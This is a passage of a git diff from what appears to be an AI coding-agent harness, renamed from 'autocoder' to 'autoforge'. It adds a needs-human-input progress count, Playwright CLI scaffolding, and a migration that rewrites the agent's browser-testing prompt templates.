"""Delete the drain signal file and reset the flag."""
|
||||||
|
from autoforge_paths import get_pause_drain_path
|
||||||
|
get_pause_drain_path(self.project_dir).unlink(missing_ok=True)
|
||||||
|
self._drain_requested = False
|
||||||
|
|
||||||
def cleanup(self) -> None:
|
def cleanup(self) -> None:
|
||||||
"""Clean up database resources. Safe to call multiple times.
|
"""Clean up database resources. Safe to call multiple times.
|
||||||
|
|
||||||
|
|||||||
67
progress.py
67
progress.py
@@ -46,7 +46,7 @@ def has_features(project_dir: Path) -> bool:
|
|||||||
return True
|
return True
|
||||||
|
|
||||||
# Check SQLite database
|
# Check SQLite database
|
||||||
from autocoder_paths import get_features_db_path
|
from autoforge_paths import get_features_db_path
|
||||||
db_file = get_features_db_path(project_dir)
|
db_file = get_features_db_path(project_dir)
|
||||||
if not db_file.exists():
|
if not db_file.exists():
|
||||||
return False
|
return False
|
||||||
@@ -62,54 +62,71 @@ def has_features(project_dir: Path) -> bool:
|
|||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def count_passing_tests(project_dir: Path) -> tuple[int, int, int]:
|
def count_passing_tests(project_dir: Path) -> tuple[int, int, int, int]:
|
||||||
"""
|
"""
|
||||||
Count passing, in_progress, and total tests via direct database access.
|
Count passing, in_progress, total, and needs_human_input tests via direct database access.
|
||||||
|
|
||||||
Args:
|
Args:
|
||||||
project_dir: Directory containing the project
|
project_dir: Directory containing the project
|
||||||
|
|
||||||
Returns:
|
Returns:
|
||||||
(passing_count, in_progress_count, total_count)
|
(passing_count, in_progress_count, total_count, needs_human_input_count)
|
||||||
"""
|
"""
|
||||||
from autocoder_paths import get_features_db_path
|
from autoforge_paths import get_features_db_path
|
||||||
db_file = get_features_db_path(project_dir)
|
db_file = get_features_db_path(project_dir)
|
||||||
if not db_file.exists():
|
if not db_file.exists():
|
||||||
return 0, 0, 0
|
return 0, 0, 0, 0
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with closing(_get_connection(db_file)) as conn:
|
with closing(_get_connection(db_file)) as conn:
|
||||||
cursor = conn.cursor()
|
cursor = conn.cursor()
|
||||||
# Single aggregate query instead of 3 separate COUNT queries
|
# Single aggregate query instead of separate COUNT queries
|
||||||
# Handle case where in_progress column doesn't exist yet (legacy DBs)
|
# Handle case where columns don't exist yet (legacy DBs)
|
||||||
try:
|
try:
|
||||||
cursor.execute("""
|
cursor.execute("""
|
||||||
SELECT
|
SELECT
|
||||||
COUNT(*) as total,
|
COUNT(*) as total,
|
||||||
SUM(CASE WHEN passes = 1 THEN 1 ELSE 0 END) as passing,
|
SUM(CASE WHEN passes = 1 THEN 1 ELSE 0 END) as passing,
|
||||||
SUM(CASE WHEN in_progress = 1 THEN 1 ELSE 0 END) as in_progress
|
SUM(CASE WHEN in_progress = 1 THEN 1 ELSE 0 END) as in_progress,
|
||||||
|
SUM(CASE WHEN needs_human_input = 1 THEN 1 ELSE 0 END) as needs_human_input
|
||||||
FROM features
|
FROM features
|
||||||
""")
|
""")
|
||||||
row = cursor.fetchone()
|
row = cursor.fetchone()
|
||||||
total = row[0] or 0
|
total = row[0] or 0
|
||||||
passing = row[1] or 0
|
passing = row[1] or 0
|
||||||
in_progress = row[2] or 0
|
in_progress = row[2] or 0
|
||||||
|
needs_human_input = row[3] or 0
|
||||||
except sqlite3.OperationalError:
|
except sqlite3.OperationalError:
|
||||||
# Fallback for databases without in_progress column
|
# Fallback for databases without newer columns
|
||||||
cursor.execute("""
|
try:
|
||||||
SELECT
|
cursor.execute("""
|
||||||
COUNT(*) as total,
|
SELECT
|
||||||
SUM(CASE WHEN passes = 1 THEN 1 ELSE 0 END) as passing
|
COUNT(*) as total,
|
||||||
FROM features
|
SUM(CASE WHEN passes = 1 THEN 1 ELSE 0 END) as passing,
|
||||||
""")
|
SUM(CASE WHEN in_progress = 1 THEN 1 ELSE 0 END) as in_progress
|
||||||
row = cursor.fetchone()
|
FROM features
|
||||||
total = row[0] or 0
|
""")
|
||||||
passing = row[1] or 0
|
row = cursor.fetchone()
|
||||||
in_progress = 0
|
total = row[0] or 0
|
||||||
return passing, in_progress, total
|
passing = row[1] or 0
|
||||||
|
in_progress = row[2] or 0
|
||||||
|
needs_human_input = 0
|
||||||
|
except sqlite3.OperationalError:
|
||||||
|
cursor.execute("""
|
||||||
|
SELECT
|
||||||
|
COUNT(*) as total,
|
||||||
|
SUM(CASE WHEN passes = 1 THEN 1 ELSE 0 END) as passing
|
||||||
|
FROM features
|
||||||
|
""")
|
||||||
|
row = cursor.fetchone()
|
||||||
|
total = row[0] or 0
|
||||||
|
passing = row[1] or 0
|
||||||
|
in_progress = 0
|
||||||
|
needs_human_input = 0
|
||||||
|
return passing, in_progress, total, needs_human_input
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print(f"[Database error in count_passing_tests: {e}]")
|
print(f"[Database error in count_passing_tests: {e}]")
|
||||||
return 0, 0, 0
|
return 0, 0, 0, 0
|
||||||
|
|
||||||
|
|
||||||
def get_all_passing_features(project_dir: Path) -> list[dict]:
|
def get_all_passing_features(project_dir: Path) -> list[dict]:
|
||||||
@@ -122,7 +139,7 @@ def get_all_passing_features(project_dir: Path) -> list[dict]:
|
|||||||
Returns:
|
Returns:
|
||||||
List of dicts with id, category, name for each passing feature
|
List of dicts with id, category, name for each passing feature
|
||||||
"""
|
"""
|
||||||
from autocoder_paths import get_features_db_path
|
from autoforge_paths import get_features_db_path
|
||||||
db_file = get_features_db_path(project_dir)
|
db_file = get_features_db_path(project_dir)
|
||||||
if not db_file.exists():
|
if not db_file.exists():
|
||||||
return []
|
return []
|
||||||
@@ -147,7 +164,7 @@ def send_progress_webhook(passing: int, total: int, project_dir: Path) -> None:
|
|||||||
if not WEBHOOK_URL:
|
if not WEBHOOK_URL:
|
||||||
return # Webhook not configured
|
return # Webhook not configured
|
||||||
|
|
||||||
from autocoder_paths import get_progress_cache_path
|
from autoforge_paths import get_progress_cache_path
|
||||||
cache_file = get_progress_cache_path(project_dir)
|
cache_file = get_progress_cache_path(project_dir)
|
||||||
previous = 0
|
previous = 0
|
||||||
previous_passing_ids = set()
|
previous_passing_ids = set()
|
||||||
@@ -234,7 +251,7 @@ def print_session_header(session_num: int, is_initializer: bool) -> None:
|
|||||||
|
|
||||||
def print_progress_summary(project_dir: Path) -> None:
|
def print_progress_summary(project_dir: Path) -> None:
|
||||||
"""Print a summary of current progress."""
|
"""Print a summary of current progress."""
|
||||||
passing, in_progress, total = count_passing_tests(project_dir)
|
passing, in_progress, total, _needs_human_input = count_passing_tests(project_dir)
|
||||||
|
|
||||||
if total > 0:
|
if total > 0:
|
||||||
percentage = (passing / total) * 100
|
percentage = (passing / total) * 100
|
||||||
|
|||||||
409
prompts.py
409
prompts.py
@@ -16,10 +16,13 @@ from pathlib import Path
|
|||||||
# Base templates location (generic templates)
|
# Base templates location (generic templates)
|
||||||
TEMPLATES_DIR = Path(__file__).parent / ".claude" / "templates"
|
TEMPLATES_DIR = Path(__file__).parent / ".claude" / "templates"
|
||||||
|
|
||||||
|
# Migration version — bump when adding new migration steps
|
||||||
|
CURRENT_MIGRATION_VERSION = 1
|
||||||
|
|
||||||
|
|
||||||
def get_project_prompts_dir(project_dir: Path) -> Path:
|
def get_project_prompts_dir(project_dir: Path) -> Path:
|
||||||
"""Get the prompts directory for a specific project."""
|
"""Get the prompts directory for a specific project."""
|
||||||
from autocoder_paths import get_prompts_dir
|
from autoforge_paths import get_prompts_dir
|
||||||
return get_prompts_dir(project_dir)
|
return get_prompts_dir(project_dir)
|
||||||
|
|
||||||
|
|
||||||
@@ -99,9 +102,9 @@ def _strip_browser_testing_sections(prompt: str) -> str:
|
|||||||
flags=re.DOTALL,
|
flags=re.DOTALL,
|
||||||
)
|
)
|
||||||
|
|
||||||
# Replace the screenshots-only marking rule with YOLO-appropriate wording
|
# Replace the marking rule with YOLO-appropriate wording
|
||||||
prompt = prompt.replace(
|
prompt = prompt.replace(
|
||||||
"**ONLY MARK A FEATURE AS PASSING AFTER VERIFICATION WITH SCREENSHOTS.**",
|
"**ONLY MARK A FEATURE AS PASSING AFTER VERIFICATION WITH BROWSER AUTOMATION.**",
|
||||||
"**YOLO mode: Mark a feature as passing after lint/type-check succeeds and server starts cleanly.**",
|
"**YOLO mode: Mark a feature as passing after lint/type-check succeeds and server starts cleanly.**",
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -315,9 +318,9 @@ def scaffold_project_prompts(project_dir: Path) -> Path:
|
|||||||
project_prompts = get_project_prompts_dir(project_dir)
|
project_prompts = get_project_prompts_dir(project_dir)
|
||||||
project_prompts.mkdir(parents=True, exist_ok=True)
|
project_prompts.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
# Create .autocoder directory with .gitignore for runtime files
|
# Create .autoforge directory with .gitignore for runtime files
|
||||||
from autocoder_paths import ensure_autocoder_dir
|
from autoforge_paths import ensure_autoforge_dir
|
||||||
autocoder_dir = ensure_autocoder_dir(project_dir)
|
autoforge_dir = ensure_autoforge_dir(project_dir)
|
||||||
|
|
||||||
# Define template mappings: (source_template, destination_name)
|
# Define template mappings: (source_template, destination_name)
|
||||||
templates = [
|
templates = [
|
||||||
@@ -340,20 +343,81 @@ def scaffold_project_prompts(project_dir: Path) -> Path:
|
|||||||
except (OSError, PermissionError) as e:
|
except (OSError, PermissionError) as e:
|
||||||
print(f" Warning: Could not copy {dest_name}: {e}")
|
print(f" Warning: Could not copy {dest_name}: {e}")
|
||||||
|
|
||||||
# Copy allowed_commands.yaml template to .autocoder/
|
# Copy allowed_commands.yaml template to .autoforge/
|
||||||
examples_dir = Path(__file__).parent / "examples"
|
examples_dir = Path(__file__).parent / "examples"
|
||||||
allowed_commands_template = examples_dir / "project_allowed_commands.yaml"
|
allowed_commands_template = examples_dir / "project_allowed_commands.yaml"
|
||||||
allowed_commands_dest = autocoder_dir / "allowed_commands.yaml"
|
allowed_commands_dest = autoforge_dir / "allowed_commands.yaml"
|
||||||
if allowed_commands_template.exists() and not allowed_commands_dest.exists():
|
if allowed_commands_template.exists() and not allowed_commands_dest.exists():
|
||||||
try:
|
try:
|
||||||
shutil.copy(allowed_commands_template, allowed_commands_dest)
|
shutil.copy(allowed_commands_template, allowed_commands_dest)
|
||||||
copied_files.append(".autocoder/allowed_commands.yaml")
|
copied_files.append(".autoforge/allowed_commands.yaml")
|
||||||
except (OSError, PermissionError) as e:
|
except (OSError, PermissionError) as e:
|
||||||
print(f" Warning: Could not copy allowed_commands.yaml: {e}")
|
print(f" Warning: Could not copy allowed_commands.yaml: {e}")
|
||||||
|
|
||||||
|
# Copy Playwright CLI skill for browser automation
|
||||||
|
skills_src = Path(__file__).parent / ".claude" / "skills" / "playwright-cli"
|
||||||
|
skills_dest = project_dir / ".claude" / "skills" / "playwright-cli"
|
||||||
|
if skills_src.exists() and not skills_dest.exists():
|
||||||
|
try:
|
||||||
|
shutil.copytree(skills_src, skills_dest)
|
||||||
|
copied_files.append(".claude/skills/playwright-cli/")
|
||||||
|
except (OSError, PermissionError) as e:
|
||||||
|
print(f" Warning: Could not copy playwright-cli skill: {e}")
|
||||||
|
|
||||||
|
# Ensure .playwright-cli/ and .playwright/ are in project .gitignore
|
||||||
|
project_gitignore = project_dir / ".gitignore"
|
||||||
|
entries_to_add = [".playwright-cli/", ".playwright/"]
|
||||||
|
existing_lines: list[str] = []
|
||||||
|
if project_gitignore.exists():
|
||||||
|
try:
|
||||||
|
existing_lines = project_gitignore.read_text(encoding="utf-8").splitlines()
|
||||||
|
except (OSError, PermissionError):
|
||||||
|
pass
|
||||||
|
missing_entries = [e for e in entries_to_add if e not in existing_lines]
|
||||||
|
if missing_entries:
|
||||||
|
try:
|
||||||
|
with open(project_gitignore, "a", encoding="utf-8") as f:
|
||||||
|
# Add newline before entries if file doesn't end with one
|
||||||
|
if existing_lines and existing_lines[-1].strip():
|
||||||
|
f.write("\n")
|
||||||
|
for entry in missing_entries:
|
||||||
|
f.write(f"{entry}\n")
|
||||||
|
except (OSError, PermissionError) as e:
|
||||||
|
print(f" Warning: Could not update .gitignore: {e}")
|
||||||
|
|
||||||
|
# Scaffold .playwright/cli.config.json for browser settings
|
||||||
|
playwright_config_dir = project_dir / ".playwright"
|
||||||
|
playwright_config_file = playwright_config_dir / "cli.config.json"
|
||||||
|
if not playwright_config_file.exists():
|
||||||
|
try:
|
||||||
|
playwright_config_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
import json
|
||||||
|
config = {
|
||||||
|
"browser": {
|
||||||
|
"browserName": "chromium",
|
||||||
|
"launchOptions": {
|
||||||
|
"channel": "chrome",
|
||||||
|
"headless": True,
|
||||||
|
},
|
||||||
|
"contextOptions": {
|
||||||
|
"viewport": {"width": 1280, "height": 720},
|
||||||
|
},
|
||||||
|
"isolated": True,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
with open(playwright_config_file, "w", encoding="utf-8") as f:
|
||||||
|
json.dump(config, f, indent=2)
|
||||||
|
f.write("\n")
|
||||||
|
copied_files.append(".playwright/cli.config.json")
|
||||||
|
except (OSError, PermissionError) as e:
|
||||||
|
print(f" Warning: Could not create playwright config: {e}")
|
||||||
|
|
||||||
if copied_files:
|
if copied_files:
|
||||||
print(f" Created project files: {', '.join(copied_files)}")
|
print(f" Created project files: {', '.join(copied_files)}")
|
||||||
|
|
||||||
|
# Stamp new projects at the current migration version so they never trigger migration
|
||||||
|
_set_migration_version(project_dir, CURRENT_MIGRATION_VERSION)
|
||||||
|
|
||||||
return project_prompts
|
return project_prompts
|
||||||
|
|
||||||
|
|
||||||
@@ -425,3 +489,330 @@ def copy_spec_to_project(project_dir: Path) -> None:
|
|||||||
return
|
return
|
||||||
|
|
||||||
print("Warning: No app_spec.txt found to copy to project directory")
|
print("Warning: No app_spec.txt found to copy to project directory")
|
||||||
|
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Project version migration
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
# Replacement content: coding_prompt.md STEP 5 section (Playwright CLI)
|
||||||
|
_CLI_STEP5_CONTENT = """\
|
||||||
|
### STEP 5: VERIFY WITH BROWSER AUTOMATION
|
||||||
|
|
||||||
|
**CRITICAL:** You MUST verify features through the actual UI.
|
||||||
|
|
||||||
|
Use `playwright-cli` for browser automation:
|
||||||
|
|
||||||
|
- Open the browser: `playwright-cli open http://localhost:PORT`
|
||||||
|
- Take a snapshot to see page elements: `playwright-cli snapshot`
|
||||||
|
- Read the snapshot YAML file to see element refs
|
||||||
|
- Click elements by ref: `playwright-cli click e5`
|
||||||
|
- Type text: `playwright-cli type "search query"`
|
||||||
|
- Fill form fields: `playwright-cli fill e3 "value"`
|
||||||
|
- Take screenshots: `playwright-cli screenshot`
|
||||||
|
- Read the screenshot file to verify visual appearance
|
||||||
|
- Check console errors: `playwright-cli console`
|
||||||
|
- Close browser when done: `playwright-cli close`
|
||||||
|
|
||||||
|
**Token-efficient workflow:** `playwright-cli screenshot` and `snapshot` save files
|
||||||
|
to `.playwright-cli/`. You will see a file link in the output. Read the file only
|
||||||
|
when you need to verify visual appearance or find element refs.
|
||||||
|
|
||||||
|
**DO:**
|
||||||
|
- Test through the UI with clicks and keyboard input
|
||||||
|
- Take screenshots and read them to verify visual appearance
|
||||||
|
- Check for console errors with `playwright-cli console`
|
||||||
|
- Verify complete user workflows end-to-end
|
||||||
|
- Always run `playwright-cli close` when finished testing
|
||||||
|
|
||||||
|
**DON'T:**
|
||||||
|
- Only test with curl commands
|
||||||
|
- Use JavaScript evaluation to bypass UI (`eval` and `run-code` are blocked)
|
||||||
|
- Skip visual verification
|
||||||
|
- Mark tests passing without thorough verification
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Replacement content: coding_prompt.md BROWSER AUTOMATION reference section
|
||||||
|
_CLI_BROWSER_SECTION = """\
|
||||||
|
## BROWSER AUTOMATION
|
||||||
|
|
||||||
|
Use `playwright-cli` commands for UI verification. Key commands: `open`, `goto`,
|
||||||
|
`snapshot`, `click`, `type`, `fill`, `screenshot`, `console`, `close`.
|
||||||
|
|
||||||
|
**How it works:** `playwright-cli` uses a persistent browser daemon. `open` starts it,
|
||||||
|
subsequent commands interact via socket, `close` shuts it down. Screenshots and snapshots
|
||||||
|
save to `.playwright-cli/` -- read the files when you need to verify content.
|
||||||
|
|
||||||
|
Test like a human user with mouse and keyboard. Use `playwright-cli console` to detect
|
||||||
|
JS errors. Don't bypass UI with JavaScript evaluation.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Replacement content: testing_prompt.md STEP 2 section (Playwright CLI)
|
||||||
|
_CLI_TESTING_STEP2 = """\
|
||||||
|
### STEP 2: VERIFY THE FEATURE
|
||||||
|
|
||||||
|
**CRITICAL:** You MUST verify the feature through the actual UI using browser automation.
|
||||||
|
|
||||||
|
For the feature returned:
|
||||||
|
1. Read and understand the feature's verification steps
|
||||||
|
2. Navigate to the relevant part of the application
|
||||||
|
3. Execute each verification step using browser automation
|
||||||
|
4. Take screenshots and read them to verify visual appearance
|
||||||
|
5. Check for console errors
|
||||||
|
|
||||||
|
### Browser Automation (Playwright CLI)
|
||||||
|
|
||||||
|
**Navigation & Screenshots:**
|
||||||
|
- `playwright-cli open <url>` - Open browser and navigate
|
||||||
|
- `playwright-cli goto <url>` - Navigate to URL
|
||||||
|
- `playwright-cli screenshot` - Save screenshot to `.playwright-cli/`
|
||||||
|
- `playwright-cli snapshot` - Save page snapshot with element refs to `.playwright-cli/`
|
||||||
|
|
||||||
|
**Element Interaction:**
|
||||||
|
- `playwright-cli click <ref>` - Click elements (ref from snapshot)
|
||||||
|
- `playwright-cli type <text>` - Type text
|
||||||
|
- `playwright-cli fill <ref> <text>` - Fill form fields
|
||||||
|
- `playwright-cli select <ref> <val>` - Select dropdown
|
||||||
|
- `playwright-cli press <key>` - Keyboard input
|
||||||
|
|
||||||
|
**Debugging:**
|
||||||
|
- `playwright-cli console` - Check for JS errors
|
||||||
|
- `playwright-cli network` - Monitor API calls
|
||||||
|
|
||||||
|
**Cleanup:**
|
||||||
|
- `playwright-cli close` - Close browser when done (ALWAYS do this)
|
||||||
|
|
||||||
|
**Note:** Screenshots and snapshots save to files. Read the file to see the content.
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Replacement content: testing_prompt.md AVAILABLE TOOLS browser subsection
|
||||||
|
_CLI_TESTING_TOOLS = """\
|
||||||
|
### Browser Automation (Playwright CLI)
|
||||||
|
Use `playwright-cli` commands for browser interaction. Key commands:
|
||||||
|
- `playwright-cli open <url>` - Open browser
|
||||||
|
- `playwright-cli goto <url>` - Navigate to URL
|
||||||
|
- `playwright-cli screenshot` - Take screenshot (saved to `.playwright-cli/`)
|
||||||
|
- `playwright-cli snapshot` - Get page snapshot with element refs
|
||||||
|
- `playwright-cli click <ref>` - Click element
|
||||||
|
- `playwright-cli type <text>` - Type text
|
||||||
|
- `playwright-cli fill <ref> <text>` - Fill form field
|
||||||
|
- `playwright-cli console` - Check for JS errors
|
||||||
|
- `playwright-cli close` - Close browser (always do this when done)
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def _get_migration_version(project_dir: Path) -> int:
|
||||||
|
"""Read the migration version from .autoforge/.migration_version."""
|
||||||
|
from autoforge_paths import get_autoforge_dir
|
||||||
|
version_file = get_autoforge_dir(project_dir) / ".migration_version"
|
||||||
|
if not version_file.exists():
|
||||||
|
return 0
|
||||||
|
try:
|
||||||
|
return int(version_file.read_text().strip())
|
||||||
|
except (ValueError, OSError):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
def _set_migration_version(project_dir: Path, version: int) -> None:
|
||||||
|
"""Write the migration version to .autoforge/.migration_version."""
|
||||||
|
from autoforge_paths import get_autoforge_dir
|
||||||
|
version_file = get_autoforge_dir(project_dir) / ".migration_version"
|
||||||
|
version_file.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
version_file.write_text(str(version))
|
||||||
|
|
||||||
|
|
||||||
|
def _migrate_coding_prompt_to_cli(content: str) -> str:
|
||||||
|
"""Replace MCP-based Playwright sections with CLI-based content in coding prompt."""
|
||||||
|
# Replace STEP 5 section (from header to just before STEP 5.5)
|
||||||
|
content = re.sub(
|
||||||
|
r"### STEP 5: VERIFY WITH BROWSER AUTOMATION.*?(?=### STEP 5\.5:)",
|
||||||
|
_CLI_STEP5_CONTENT,
|
||||||
|
content,
|
||||||
|
count=1,
|
||||||
|
flags=re.DOTALL,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Replace BROWSER AUTOMATION reference section (from header to next ---)
|
||||||
|
content = re.sub(
|
||||||
|
r"## BROWSER AUTOMATION\n\n.*?(?=---)",
|
||||||
|
_CLI_BROWSER_SECTION,
|
||||||
|
content,
|
||||||
|
count=1,
|
||||||
|
flags=re.DOTALL,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Replace inline screenshot rule
|
||||||
|
content = content.replace(
|
||||||
|
"**ONLY MARK A FEATURE AS PASSING AFTER VERIFICATION WITH SCREENSHOTS.**",
|
||||||
|
"**ONLY MARK A FEATURE AS PASSING AFTER VERIFICATION WITH BROWSER AUTOMATION.**",
|
||||||
|
)
|
||||||
|
|
||||||
|
# Replace inline screenshot references (various phrasings from old templates)
|
||||||
|
for old_phrase in (
|
||||||
|
"(inline only -- do NOT save to disk)",
|
||||||
|
"(inline only, never save to disk)",
|
||||||
|
"(inline mode only -- never save to disk)",
|
||||||
|
):
|
||||||
|
content = content.replace(old_phrase, "(saved to `.playwright-cli/`)")
|
||||||
|
|
||||||
|
return content
|
||||||
|
|
||||||
|
|
||||||
|
def _migrate_testing_prompt_to_cli(content: str) -> str:
|
||||||
|
"""Replace MCP-based Playwright sections with CLI-based content in testing prompt."""
|
||||||
|
# Replace AVAILABLE TOOLS browser subsection FIRST (before STEP 2, to avoid
|
||||||
|
# matching the new CLI subsection header that the STEP 2 replacement inserts).
|
||||||
|
# In old prompts, ### Browser Automation (Playwright) only exists in AVAILABLE TOOLS.
|
||||||
|
content = re.sub(
|
||||||
|
r"### Browser Automation \(Playwright[^)]*\)\n.*?(?=---)",
|
||||||
|
_CLI_TESTING_TOOLS,
|
||||||
|
content,
|
||||||
|
count=1,
|
||||||
|
flags=re.DOTALL,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Replace STEP 2 verification section (from header to just before STEP 3)
|
||||||
|
content = re.sub(
|
||||||
|
r"### STEP 2: VERIFY THE FEATURE.*?(?=### STEP 3:)",
|
||||||
|
_CLI_TESTING_STEP2,
|
||||||
|
content,
|
||||||
|
count=1,
|
||||||
|
flags=re.DOTALL,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Replace inline screenshot references (various phrasings from old templates)
|
||||||
|
for old_phrase in (
|
||||||
|
"(inline only -- do NOT save to disk)",
|
||||||
|
"(inline only, never save to disk)",
|
||||||
|
"(inline mode only -- never save to disk)",
|
||||||
|
):
|
||||||
|
content = content.replace(old_phrase, "(saved to `.playwright-cli/`)")
|
||||||
|
|
||||||
|
return content
|
||||||
|
|
||||||
|
|
||||||
|
def _migrate_v0_to_v1(project_dir: Path) -> list[str]:
|
||||||
|
"""Migrate from v0 (MCP-based Playwright) to v1 (Playwright CLI).
|
||||||
|
|
||||||
|
Four idempotent sub-steps:
|
||||||
|
A. Copy playwright-cli skill to project
|
||||||
|
B. Scaffold .playwright/cli.config.json
|
||||||
|
C. Update .gitignore with .playwright-cli/ and .playwright/
|
||||||
|
D. Update coding_prompt.md and testing_prompt.md
|
||||||
|
"""
|
||||||
|
import json
|
||||||
|
|
||||||
|
migrated: list[str] = []
|
||||||
|
|
||||||
|
# A. Copy Playwright CLI skill
|
||||||
|
skills_src = Path(__file__).parent / ".claude" / "skills" / "playwright-cli"
|
||||||
|
skills_dest = project_dir / ".claude" / "skills" / "playwright-cli"
|
||||||
|
if skills_src.exists() and not skills_dest.exists():
|
||||||
|
try:
|
||||||
|
shutil.copytree(skills_src, skills_dest)
|
||||||
|
migrated.append("Copied playwright-cli skill")
|
||||||
|
except (OSError, PermissionError) as e:
|
||||||
|
print(f" Warning: Could not copy playwright-cli skill: {e}")
|
||||||
|
|
||||||
|
# B. Scaffold .playwright/cli.config.json
|
||||||
|
playwright_config_dir = project_dir / ".playwright"
|
||||||
|
playwright_config_file = playwright_config_dir / "cli.config.json"
|
||||||
|
if not playwright_config_file.exists():
|
||||||
|
try:
|
||||||
|
playwright_config_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
config = {
|
||||||
|
"browser": {
|
||||||
|
"browserName": "chromium",
|
||||||
|
"launchOptions": {
|
||||||
|
"channel": "chrome",
|
||||||
|
"headless": True,
|
||||||
|
},
|
||||||
|
"contextOptions": {
|
||||||
|
"viewport": {"width": 1280, "height": 720},
|
||||||
|
},
|
||||||
|
"isolated": True,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
with open(playwright_config_file, "w", encoding="utf-8") as f:
|
||||||
|
json.dump(config, f, indent=2)
|
||||||
|
f.write("\n")
|
||||||
|
migrated.append("Created .playwright/cli.config.json")
|
||||||
|
except (OSError, PermissionError) as e:
|
||||||
|
print(f" Warning: Could not create playwright config: {e}")
|
||||||
|
|
||||||
|
# C. Update .gitignore
|
||||||
|
project_gitignore = project_dir / ".gitignore"
|
||||||
|
entries_to_add = [".playwright-cli/", ".playwright/"]
|
||||||
|
existing_lines: list[str] = []
|
||||||
|
if project_gitignore.exists():
|
||||||
|
try:
|
||||||
|
existing_lines = project_gitignore.read_text(encoding="utf-8").splitlines()
|
||||||
|
except (OSError, PermissionError):
|
||||||
|
pass
|
||||||
|
missing_entries = [e for e in entries_to_add if e not in existing_lines]
|
||||||
|
if missing_entries:
|
||||||
|
try:
|
||||||
|
with open(project_gitignore, "a", encoding="utf-8") as f:
|
||||||
|
if existing_lines and existing_lines[-1].strip():
|
||||||
|
f.write("\n")
|
||||||
|
for entry in missing_entries:
|
||||||
|
f.write(f"{entry}\n")
|
||||||
|
migrated.append(f"Added {', '.join(missing_entries)} to .gitignore")
|
||||||
|
except (OSError, PermissionError) as e:
|
||||||
|
print(f" Warning: Could not update .gitignore: {e}")
|
||||||
|
|
||||||
|
# D. Update prompts
|
||||||
|
prompts_dir = get_project_prompts_dir(project_dir)
|
||||||
|
|
||||||
|
# D1. Update coding_prompt.md
|
||||||
|
coding_prompt_path = prompts_dir / "coding_prompt.md"
|
||||||
|
if coding_prompt_path.exists():
|
||||||
|
try:
|
||||||
|
content = coding_prompt_path.read_text(encoding="utf-8")
|
||||||
|
if "Playwright MCP" in content or "browser_navigate" in content or "browser_take_screenshot" in content:
|
||||||
|
updated = _migrate_coding_prompt_to_cli(content)
|
||||||
|
if updated != content:
|
||||||
|
coding_prompt_path.write_text(updated, encoding="utf-8")
|
||||||
|
migrated.append("Updated coding_prompt.md to Playwright CLI")
|
||||||
|
except (OSError, PermissionError) as e:
|
||||||
|
print(f" Warning: Could not update coding_prompt.md: {e}")
|
||||||
|
|
||||||
|
# D2. Update testing_prompt.md
|
||||||
|
testing_prompt_path = prompts_dir / "testing_prompt.md"
|
||||||
|
if testing_prompt_path.exists():
|
||||||
|
try:
|
||||||
|
content = testing_prompt_path.read_text(encoding="utf-8")
|
||||||
|
if "browser_navigate" in content or "browser_take_screenshot" in content:
|
||||||
|
updated = _migrate_testing_prompt_to_cli(content)
|
||||||
|
if updated != content:
|
||||||
|
testing_prompt_path.write_text(updated, encoding="utf-8")
|
||||||
|
migrated.append("Updated testing_prompt.md to Playwright CLI")
|
||||||
|
except (OSError, PermissionError) as e:
|
||||||
|
print(f" Warning: Could not update testing_prompt.md: {e}")
|
||||||
|
|
||||||
|
return migrated
|
||||||
|
|
||||||
|
|
||||||
|
def migrate_project_to_current(project_dir: Path) -> list[str]:
|
||||||
|
"""Migrate an existing project to the current AutoForge version.
|
||||||
|
|
||||||
|
Idempotent — safe to call on every agent start. Returns list of
|
||||||
|
human-readable descriptions of what was migrated.
|
||||||
|
"""
|
||||||
|
current = _get_migration_version(project_dir)
|
||||||
|
if current >= CURRENT_MIGRATION_VERSION:
|
||||||
|
return []
|
||||||
|
|
||||||
|
migrated: list[str] = []
|
||||||
|
|
||||||
|
if current < 1:
|
||||||
|
migrated.extend(_migrate_v0_to_v1(project_dir))
|
||||||
|
|
||||||
|
# Future: if current < 2: migrated.extend(_migrate_v1_to_v2(project_dir))
|
||||||
|
|
||||||
|
_set_migration_version(project_dir, CURRENT_MIGRATION_VERSION)
|
||||||
|
return migrated
|
||||||
|
|||||||
207
registry.py
207
registry.py
@@ -3,7 +3,7 @@ Project Registry Module
|
|||||||
=======================
|
=======================
|
||||||
|
|
||||||
Cross-platform project registry for storing project name to path mappings.
|
Cross-platform project registry for storing project name to path mappings.
|
||||||
Uses SQLite database stored at ~/.autocoder/registry.db.
|
Uses SQLite database stored at ~/.autoforge/registry.db.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
@@ -23,6 +23,22 @@ from sqlalchemy.orm import DeclarativeBase, sessionmaker
|
|||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
def _migrate_registry_dir() -> None:
|
||||||
|
"""Migrate ~/.autocoder/ to ~/.autoforge/ if needed.
|
||||||
|
|
||||||
|
Provides backward compatibility by automatically renaming the old
|
||||||
|
config directory to the new location on first access.
|
||||||
|
"""
|
||||||
|
old_dir = Path.home() / ".autocoder"
|
||||||
|
new_dir = Path.home() / ".autoforge"
|
||||||
|
if old_dir.exists() and not new_dir.exists():
|
||||||
|
try:
|
||||||
|
old_dir.rename(new_dir)
|
||||||
|
